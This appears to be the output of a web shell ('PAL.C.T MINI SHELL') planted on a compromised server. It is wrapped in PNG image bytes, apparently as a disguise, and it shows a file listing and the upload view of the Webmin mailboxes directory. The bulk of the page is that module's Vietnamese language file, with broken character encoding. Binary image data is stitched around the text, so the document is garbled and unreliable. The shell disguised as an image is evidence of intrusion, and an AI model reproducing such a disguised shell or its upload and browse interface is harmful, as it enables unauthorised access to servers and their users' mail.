‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/vi.auto

index_title=Äá»c thư ngưá»i dùng
index_none=Bạn không được phép Ä‘á»c email cho bất kỳ ngưá»i dùng nào trên hệ thống này.
index_header=Há»™p thư ngưá»i dùng
index_empty=Không có thư
index_return=Danh sách ngưá»i dùng
index_esystem=Không có máy chá»§ thư được há»— trợ (Exim, Qmail, Postfix và Sendmail) được phát hiện trên hệ thống cá»§a bạn. Bạn sẽ cần Ä‘iá»u chỉnh <a href='$1'>cấu hình mô-Ä‘un</a> để đặt máy chá»§ thư và có thể đưá»ng dẫn thư theo cách thá»§ công.
index_esystem2=Không tìm thấy máy chá»§ thư được đặt trong cấu hình mô-Ä‘un <a href='$1'> trên hệ thống cá»§a bạn. Bạn sẽ cần Ä‘iá»u chỉnh cấu hình để sá»­ dụng đúng máy chá»§.
index_esystem3=Äã xảy ra lá»—i khi liên hệ vá»›i hệ thống thư được đặt trong cấu hình mô-Ä‘un <a href='$1'></a>: $2.
index_system6=Máy chủ thư: Exim
index_system5=Máy chủ thư: Qmail+VPopMail
index_system4=Máy chủ thư: Qmail+LDAP
index_system2=Máy chủ thư: Qmail
index_system1=Máy chủ thư: Sendmail
index_system0=Máy chủ thư: Postfix
index_toomany=Có quá nhiá»u ngưá»i dùng trên hệ thống cá»§a bạn để hiển thị trên má»™t trang.
index_find=Tìm ngưá»i dùng nÆ¡i tên ngưá»i dùng
index_equals=bằng
index_contains=chứa đựng
index_eperl=Mô-Ä‘un Perl $1 cần thiết cho chế độ xác thá»±c SMTP đã chá»n không được cài đặt hoặc thiếu mô-Ä‘un phụ thuá»™c. <a href='$2'>Nhấp vào đây</a> để cài đặt ngay.
index_file=Äá»c thư trong tệp hoặc Maildir:
index_nousers=Không có ngưá»i dùng đã được tìm thấy!
index_nousersmail=Không có ngưá»i dùng vá»›i email đã được tìm thấy.

mail_title=Email ngưá»i dùng
mail_from=Từ
mail_date=Ngày
mail_subject=Môn há»c
mail_to=Äến
mail_cc=Cc
mail_bcc=Bcc
mail_pri=Sự ưu tiên
mail_highest=Cao nhất
mail_high=Cao
mail_normal=Bình thưá»ng
mail_low=Thấp
mail_lowest=Thấp nhất
mail_for=Trong $1
mail_for2=Dành cho ngưá»i dùng $1
mail_sent=Trong danh sách thư đã gửi
mail_size=Kích thước
mail_level=Ghi bàn
mail_delete=Xóa bá»
mail_compose=Soạn, biên soạn
mail_open=Mở
mail_return=há»™p thư ngưá»i dùng
mail_pos=Tin nhắn $1 đến $2 trong số $3 trong $4
mail_none=Ngưá»i dùng này không có tin nhắn trong $1
mail_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
mail_all=Chá»n tất cả.
mail_invert=Lá»±a chá»n đối nghịch.
mail_nosort=Äặt lại sắp xếp.
mail_search=Tìm tin nhắn ở đâu
mail_body=Thân hình
mail_match=diêm
mail_ok=Tìm kiếm
mail_nonefrom=không ai
mail_mark=Äánh dấu là:
mail_mark0=Chưa Ä‘á»c
mail_mark1=Äá»c
mail_mark2=Äặc biệt
mail_forward=Ở đằng trước
mail_move=Chuyển tới:
mail_copy=Sao chép vào:
mail_rfc=Từ dòng
mail_eexists=Tin nhắn không còn tồn tại!
mail_fchange=Thay đổi
mail_indexlink=Quay trở lại hộp thư
mail_deleteall=Xóa hết
mail_black=Ngưá»i gá»­i từ chối
mail_white=Cho phép ngưá»i gá»­i
mail_whitemove=Cho phép ngưá»i gá»­i và há»™p thư đến
mail_efile=Tệp thư không tồn tại
mail_fromsrch=Tìm email vá»›i cùng má»™t ngưá»i gá»­i
mail_subsrch=Tìm email có cùng chá»§ Ä‘á»
mail_tosrch=Tìm email vá»›i ngưá»i nhận
mail_fromfilter=Tạo bá»™ lá»c theo ngưá»i gá»­i
mail_tofilter=Tạo bá»™ lá»c theo ngưá»i nhận
mail_subfilter=Tạo bá»™ lá»c theo chá»§ Ä‘á»
mail_unknown=không xác định

mail_sign=Ký bằng chìa khóa
mail_nosign=&lt;Äừng ký&gt;
mail_crypt=Mã hóa cho
mail_nocrypt=&lt;Không mã hóa&gt;
mail_samecrypt=&lt;Khóa từ địa chỉ đích&gt;
mail_addresses=Quản lý sổ địa chỉ
mail_folders=Quản lý thư mục
mail_err=Äã xảy ra lá»—i khi liệt kê thư trong thư mục này : $1
mail_loginheader=Äăng nhập máy chá»§ POP3
mail_loginheader2=Äăng nhập máy chá»§ IMAP
mail_logindesc=Bạn phải nhập tên ngưá»i dùng và mật khẩu để truy cập thư <br> trong há»™p thư đến cá»§a bạn trên máy chá»§ thư $1.
mail_loginuser=tên tài khoản
mail_loginpass=Mật khẩu
mail_loginmailbox=Hộp thư IMAP
mail_login=Äăng nhập
mail_reset=Thông thoáng
mail_logout=Thay đổi đăng nhập POP3
mail_logout2=Thay đổi đăng nhập IMAP
mail_sig=Chỉnh sửa chữ ký
mail_jump=Chuyển đến trang  :
mail_of=cá»§a
mail_replyto=Trả lá»i
mail_folder=Thư mục
mail_delall=Xóa hết
mail_deltrash=Thùng rác
mail_search2=Tìm kiếm:
mail_search3=Tìm với số điểm trên:
mail_advanced=tìm kiếm nâng cao
mail_return2=Email ngưá»i dùng
mail_esystem=Äã xảy ra lá»—i khi liên hệ vá»›i hệ thống thư: $1. Äiá»u này phải được sá»­a bởi quản trị viên hệ thống.
mail_selread=Chá»n Ä‘á»c.
mail_selunread=Chá»n chưa Ä‘á»c.
mail_selspecial=Chá»n đặc biệt.
mail_specialsync=Äồng bá»™ hóa đặc biệt

view_title=Äá»c mail
view_desc=Tin nhắn $1 trong $2
view_desc2=Tin nhắn $1 cho ngưá»i dùng $2
view_desc3=Tin nhắn $1
view_sent=Tin nhắn $1 trong danh sách thư đã gửi
view_qdesc=Tin nhắn xếp hàng $1
view_headers=Tiêu đỠthư
view_body=Nội dung tin nhắn
view_nobody=Tin nhắn này không có nội dung cơ thể.
view_allheaders=Xem tất cả các tiêu Ä‘á»
view_noheaders=Xem các tiêu đỠcơ bản
view_attach=Tài liệu đính kèm
view_afile=Tên tập tin đính kèm
view_atype=Kiểu đính kèm
view_aactions=Hành động
view_aview=Lượt xem
view_aopen=Mở
view_asave=Tiết kiệm
view_aplain=Nguyên
view_anofile=Không có tên tệp
view_asize=Kích thước tập tin
view_reply=Äáp lại
view_reply2=Trả lá»i tất cả
view_enew=Chỉnh sửa như mới
view_forward=Ở đằng trước
view_delete=Xóa bá»
view_print=In
view_strip=Xóa tệp đính kèm
view_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
view_mark=Äánh dấu là:
view_mark0=Chưa Ä‘á»c
view_mark1=Äá»c
view_mark2=Äặc biệt
view_markas0=Chưa Ä‘á»c
view_markas1=Äá»c
view_markas2=Äặc biệt
view_return=email gốc
view_sub=Email đính kèm
view_sub2=Email đính kèm từ $1
view_egone=Tin nhắn này không còn tồn tại
view_eugone=Ngưá»i dùng này không tòn tại

view_gnupg=Xác minh chữ ký GnuPG
view_gnupg_0=Chữ ký của $1 là hợp lệ.
view_gnupg_1=Chữ ký của $1 là hợp lệ, nhưng chuỗi tin cậy không thể được thiết lập.
view_gnupg_2=Chữ ký của $1 là <b>KHÔNG</b> hợp lệ.
view_gnupg_3=ID khóa $1 không có trong danh sách của bạn, vì vậy chữ ký không thể được xác minh.
view_gnupg_4=Không thể xác minh chữ ký : $1
view_crypt=Giải mã thư GnuPG
view_crypt_1=Tin nhắn được mã hóa, nhưng hỗ trợ GnuPG chưa được cài đặt.
view_crypt_2=Không thể giải mã tin nhắn : $1
view_crypt_3=Thư đã được giải mã thành công.
view_crypt_4=Phần mã hóa của tin nhắn đã được giải mã thành công.
view_recv=<a href='$2'>Tìm nạp ID khóa $1 từ máy chủ khóa</a>.
view_folder=Quay trở lại hộp thư
view_dheader=Tháo tệp đính kèm với máy chủ
view_detach=Tách tập tin:
view_dall=&lt;Tất cả các tệp&gt;
view_dir=đến tập tin máy chủ hoặc thư mục:
view_black=Từ chối ngưá»i gá»­i
view_white=Cho phép ngưá»i gá»­i
view_whitemove=Cho phép ngưá»i gá»­i và há»™p thư đến
view_razor=Báo cáo thư rác
view_ham=Báo cáo Ham
view_hammove=Báo cáo Ham và Hộp thư đến
view_razordel=Xóa thư rác
view_dstatus=Tình trạng giao hàng không thành công
view_dstatusok=Tình trạng giao hàng thành công
view_final-recipient=Ngưá»i nhận cuối cùng
view_diagnostic-code=Lý do thất bại
view_remote-mta=Máy chủ mail từ xa
view_reporting-mta=Báo cáo máy chủ mail
view_astext=Xem như là văn bản
view_ashtml=Xem dưới dạng HTML
view_images=Hiển thị hình ảnh
view_raw=Xem tin nhắn thô
view_aall=Lưu tất cả các tệp đính kèm dưới dạng ZIP.
view_aslideshow=Hiển thị tất cả hình ảnh.

compose_title=Soạn email

reply_title=Trả lá»i email
forward_title=Chuyển tiếp email
enew_title=Chỉnh sửa email
reply_headers=Tiêu đỠthư
reply_attach=Tập tin đính kèm chuyển tiếp
reply_mailforward=Tin nhắn chuyển tiếp
reply_attach2=Tệp đính kèm phía máy khách và máy chủ
reply_attach3=Äã tải lên tệp đính kèm
reply_send=Gửi thư
reply_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này
reply_body=Tin nhắn văn bản
reply_errc=Không thể sao chép thư
reply_errm=Không thể di chuyển thư
reply_return=soạn mail
reply_efwdnone=Không có tin nhắn chuyển tiếp nào tồn tại
reply_dsn=Yêu cầu Ä‘á»c thông báo trạng thái?
reply_del=Yêu cầu thông báo tình trạng giao hàng?
reply_aboot=Thêm ngưá»i nhận vào sổ địa chỉ?
reply_tabfrom=Từ
reply_tabto=Äến
reply_tabreplyto=Trả lá»i
reply_tabcc=Cc
reply_tabbcc=Bcc
reply_tabsigning=Ký kết
reply_taboptions=Tùy chá»n
reply_addattach=Thêm trưá»ng đính kèm.
reply_addssattach=Thêm trưá»ng đính kèm phía máy chá»§.
reply_html0=Soạn văn bản
reply_html1=Soạn HTML

reply_spell=Kiểm tra lỗi chính tả?
reply_draft=Lưu dưới dạng bản nháp
reply_save=Lưu và chỉnh sửa

send_err=Không thể gửi thư
send_eto=Thiếu địa chỉ
send_efrom=Thiếu từ địa chỉ
send_esubject=Thiếu chủ đỠemail
send_title=Thư đã gửi
send_title2=Thư đã lưu
send_ok=Thư được gửi thành công tới $1
send_sending=Gửi thư tới $1 ..
send_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này
send_esmtp=Lệnh SMTP $1 không thành công : $2
send_eattach=Tệp đính kèm không thể có tổng kích thước lớn hơn $1 kB.
send_eperms=Ngưá»i dùng $1 không thể Ä‘á»c $2
send_eperms2=Bạn không được phép gửi tệp $1
send_epath=Sendmail thực thi $1 không tồn tại.
send_efile=Không thể Ä‘á»c tệp đính kèm $1 : $2 
send_done=.. làm xong.

send_epass=Bạn không thể ký tin nhắn vì cụm mật khẩu của bạn chưa được thiết lập trong mô-đun GnuPG.
send_esign=Không thể ký tin nhắn : $1
send_ekey=Không thể tìm thấy khóa cho địa chỉ email $1
send_ecrypt=Không thể mã hóa tin nhắn : $1
send_eword=Từ sai $1
send_eword2=Từ sai $1 - có thể sửa $2
send_eline=Trong dòng $1 :
send_espell=Các lỗi chính tả sau đây đã được tìm thấy trong tin nhắn của bạn ..
send_draft=Gửi thư đến $1 trong thư mục nháp.
send_drafting=Lưu thư vào $1 trong thư mục nháp ..
send_eattachsize=Tệp đính kèm thư vượt quá kích thước tối đa được phép là $1 byte

delete_title=Xóa thư
delete_rusure=Bạn có chắc chắn muốn xóa các tin nhắn được chá»n $1 khá»i $2 không? Äiá»u này có thể mất má»™t thá»i gian cho má»™t tập tin thư lá»›n. Cho đến khi xóa xong, không nên thá»±c hiện hành động nào khác.
delete_rusure2=Bạn có chắc chắn muốn xóa tin nhắn này khá»i $1? Äiá»u này có thể mất má»™t thá»i gian cho má»™t tập tin thư lá»›n. Cho đến khi xóa xong, không nên thá»±c hiện hành động nào khác.
delete_ok=Xóa ngay bây giá»
delete_ecannot=Bây giá» bạn được phép xóa thư từ ngưá»i dùng này
delete_enone=Không có thư nào được chá»n để xóa
delete_emnone=Không có thư được chá»n để đánh dấu
delete_efnone=Không có thư được chá»n để chuyển tiếp
delete_ebnone=Không có thư nào được chá»n để từ chối
delete_ewnone=Không có thư được chá»n để cho phép
delete_ernone=Không có thư nào được chá»n để báo cáo là thư rác
delete_ehnone=Không có thư nào được chá»n để báo cáo là ham
delete_emoveuser=Ngưá»i dùng di chuyển thư đến không tồn tại
delete_ecopyuser=Ngưá»i dùng sao chép thư không tồn tại
delete_emovecannot=Bạn không được phép chuyển thư đến ngưá»i dùng được chỉ định
delete_ecopycannot=Bạn không được phép sao chép thư đến ngưá»i dùng được chỉ định
delete_emovenone=Không có thư được chá»n để di chuyển
delete_ecopynone=Không có thư được chá»n để sao chép
delete_nobutton=Không có nút bấm
delete_ereport=Không thể báo cáo là spam : $1
delete_errc=Không thể sao chép thư
delete_errm=Không thể di chuyển thư

confirm_title=Xác nhận xóa
confirm_warn=Bạn có chắc chắn muốn xóa các tin nhắn được chá»n $1 khá»i thư mục này không?
confirm_warnf=Bạn có chắc chắn muốn xóa các tin nhắn đã chá»n $1 khá»i thư mục <b>$2</b> không?
confirm_warn2=Do kích thước và định dạng cá»§a há»™p thư cá»§a bạn, việc này có thể mất má»™t chút thá»i gian. Cho đến khi xóa xong, không nên thá»±c hiện hành động nào khác.
confirm_warn3=Bạn có chắc chắn muốn xóa tin nhắn này?
confirm_warn4=Cho đến khi xóa xong, không nên thực hiện hành động nào khác.
confirm_ok=Xóa ngay bây giá»
confirm_warnall=Bạn có chắc chắn muốn xóa tất cả các tin nhắn trong thư mục này?
confirm_warnallf=Bạn có chắc chắn muốn xóa tất cả các tin nhắn trong thư mục <b>$1</b> không?

search_title=kết quả tìm kiếm
search_ecannot=Bạn không được phép tìm kiếm email cá»§a ngưá»i dùng này
search_ematch=Bạn phải nhập văn bản để phù hợp với.
search_escore=Äiểm thư rác bị thiếu hoặc không hợp lệ
search_efield=Bạn phải chá»n má»™t loại tìm kiếm.
search_ewhat=Không có văn bản nào khớp với hàng đã nhập $1
search_enone=Không có tiêu chí tìm kiếm nào được nhập
search_none=Không tìm thấy thư nào.
search_results2=$1 thư khớp với thư $2
search_results3=$1 thư không khớp $2
search_results4=$1 thư phù hợp với tìm kiếm của bạn
search_results5=$1 thư trong đó $2 khớp $3
search_msg2=Kết quả tìm kiếm cho $1
search_msg4=Kết quả tìm kiếm
search_msg5=Kết quả tìm kiếm thư rác với số điểm $1
search_msg6=Kết quả tìm kiếm cho trưá»ng $1 trong trưá»ng $2
search_local=Trong các thư mục địa phương
search_all=Trong tất cả các thư mục
search_limit=(từ tin nhắn $1 cuối cùng)
search_status=Có trạng thái
search_attach=Phải có chấp trước?
search_allstatus=Bất kì
search_onestatus=Chỉ trạng thái
search_latest=Tin nhắn để tìm kiếm
search_nolatest=Tất cả trong thư mục
search_latestnum=Chỉ mới nhất
search_elatest=Thiếu hoặc không hợp lệ số lượng tin nhắn để tìm kiếm
search_withstatus=, với trạng thái $1

folder_inbox=Hộp thư đến
folder_sent=Gá»­i mail
folder_drafts=Dự thảo
folder_trash=Rác

detach_err=Không thể tách tệp
detach_edir=Không có tập tin hoặc thư mục để lưu để nhập
detach_eopen=Không thể mở $1 : $2 
detach_ewrite=Không thể ghi vào $1 : $2 
detach_title=Tách tập tin
detach_ok=Äã viết tệp đính kèm vào tệp phía máy chá»§ $1 ($2).

sform_title=tìm kiếm nâng cao
sform_header=Tùy chá»n tìm kiếm email nâng cao
sform_andmode=Chế độ tiêu chí
sform_and=Tìm tin nhắn phù hợp với tất cả các tiêu chí dưới đây ..
sform_or=Tìm tin nhắn phù hợp với bất kỳ tiêu chí dưới đây ..
sform_neg0=chứa đựng
sform_neg1=không chứa
sform_ok=Tìm kiếm ngay bây giá»
sform_folder2=Tìm kiếm trong thư mục
sform_all=&lt;Tất cả các thư mục&gt;
sform_local=&lt;Thư mục cục bộ&gt;
sform_where=Ở đâu
sform_text=văn bản
sform_from=Từ: tiêu Ä‘á»
sform_subject=Chá»§ Ä‘á»: tiêu Ä‘á»
sform_to=Tá»›i: tiêu Ä‘á»
sform_cc=Cc: tiêu Ä‘á»
sform_bcc=Bcc: tiêu Ä‘á»
sform_date=Ngày: tiêu Ä‘á»
sform_body=tin nhắn cơ thể
sform_headers=bất kỳ tiêu Ä‘á»
sform_allmsg=toàn bộ tin nhắn
sform_size=kích thước tin nhắn
sform_return=hình thức tìm kiếm nâng cao

find_enone=Không tìm thấy ngưá»i dùng phù hợp vá»›i tìm kiếm cá»§a bạn
find_title=kết quả tìm kiếm
find_results=Ngưá»i dùng phù hợp vá»›i tìm kiếm cho $1 ..
find_user=tên tài khoản
find_real=Tên thật
find_group=Nhóm
find_home=Thư mục nhà
find_size=Kích thước thư
find_incount=Email
find_sentcount=Gởi
find_fcount=Thư mục
find_in=$1 trong $2

acl_none=không ai
acl_same=Ngưá»i dùng có cùng tên
acl_all=Tất cả
acl_read=Ngưá»i dùng có thể Ä‘á»c thư
acl_users=Chỉ ngưá»i dùng
acl_userse=Tất cả ngoại trừ ngưá»i dùng
acl_usersg=Thành viên của nhóm
acl_from=Cho phép từ địa chỉ
acl_any=Äịa chỉ bất kỳ
acl_fdoms=Há»™p thư @ tên miá»n
acl_faddrs=Äịa chỉ được liệt kê
acl_fdom=Bất kỳ địa chỉ @ tên miá»n
acl_fromname=Tên thật cho từ địa chỉ
acl_apath=Giới hạn tập tin và chương trình vào thư mục
acl_attach=Tổng kích thước tệp đính kèm tối đa
acl_unlimited=Vô hạn
acl_sent=Lưu trữ thư đã gửi trong hộp thư
acl_canattach=Có thể đính kèm tập tin phía máy chủ?
acl_candetach=Có thể tách tập tin đến máy chủ?
acl_usersm=Ngưá»i dùng phù hợp
acl_asame=Giống như tên ngưá»i dùng
acl_usersu=Với UID trong phạm vi
acl_sec=Bao gồm các nhóm thứ cấp?
acl_dir=Có thể Ä‘á»c các tập tin thư trong thư mục
acl_dirauto=Quyết định tá»± động (bất cứ nÆ¡i nào nếu tất cả ngưá»i dùng có thể nhìn thấy, không nÆ¡i nào khác)

log_delmail=Äã xóa tin nhắn $1 từ $2
log_movemail=Äã chuyển các tin nhắn $1 từ $2 sang $3
log_copymail=Äã sao chép tin nhắn $1 từ $2 đến $3
log_send=Äã gá»­i thư đến $1
log_read=Äá»c thư cho $1

emodified=Thư mục này đã được sửa đổi kể từ lần cuối xem! Quay lại danh sách thư <a href='$1'></a> và thử lại.

razor_title=Báo cáo là thư rác
razor_title2=Báo cáo như Ham
razor_report=Báo cáo tin nhắn này cho Dao cạo và các cơ sở dữ liệu chặn spam SpamAssassin khác ..
razor_report2=Báo cáo các tin nhắn đã chá»n cho Dao cạo và các cÆ¡ sở dữ liệu chặn spam SpamAssassin khác ..
razor_report3=Há»§y báo cáo các tin nhắn đã chá»n cho Dao cạo và các cÆ¡ sở dữ liệu chặn spam SpamAssassin khác ..
razor_done=.. làm xong
razor_err=.. thất bại! Xem thông báo lỗi ở trên để biết lý do tại sao.
razor_moved=.. xong và chuyển đến thư mục $1.
razor_deleted=.. xong, và xóa tin nhắn quá.

ham_title=Báo cáo như Ham
ham_report=Báo cáo tin nhắn này là không phải thư rác đến Dao cạo và các cơ sở dữ liệu SpamAssassin khác ..

black_title=Từ chối ngưá»i gá»­i
black_done=Äã thêm địa chỉ email $1 vào danh sách địa chỉ bị từ chối cá»§a SpamAssassin.
black_already=Äịa chỉ email $1 đã có trong danh sách địa chỉ bị từ chối cá»§a SpamAssassin.

white_title=Cho phép ngưá»i gá»­i
white_done=Äã thêm địa chỉ email $1 vào danh sách địa chỉ được phép cá»§a SpamAssassinin.
white_already=Äịa chỉ email $1 đã có trong danh sách địa chỉ được phép cá»§a SpamAssassin.

ldap_emod=Thiếu mô-đun Perl $1 cần thiết để kết nối với LDAP
ldap_econn=Không thể kết nối với máy chủ LDAP $1 cổng $2
ldap_elogin=Không thể liên kết với máy chủ LDAP $1 dưới dạng $2 : $3 
ldap_ehost=Không có máy chủ LDAP nào được đặt trong cấu hình mô-đun
ldap_eport=Không có cổng máy chủ LDAP hợp lệ được đặt trong cấu hình mô-đun
ldap_euser=Không có thông tin đăng nhập LDAP trong cấu hình mô-đun
ldap_ebase=Không có DN cơ sở LDAP nào được đặt trong cấu hình mô-đun

delall_title=Xóa tất cả thư
delall_rusure=Bạn có chắc chắn muốn xóa tất cả email khá»i $1 không? Tổng số tin nhắn $2 $3 sẽ bị xóa vÄ©nh viá»…n.
delall_ok=Xóa ngay bây giá»

slide_title=Hình ảnh đính kèm
slide_prev=Trước
slide_next=Kế tiếp

left_mail=Thư
left_search=Tìm kiếm:
left_folders=Quản lý thư mục
left_addresses=Sổ địa chỉ
left_prefs=Tùy chá»n thư
left_forward=Chuyển tiếp email
left_autoreply=Trả lá»i tá»± động
left_filter=Bá»™ lá»c email
left_pass=Äổi mật khẩu
left_sig=Chỉnh sửa chữ ký
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚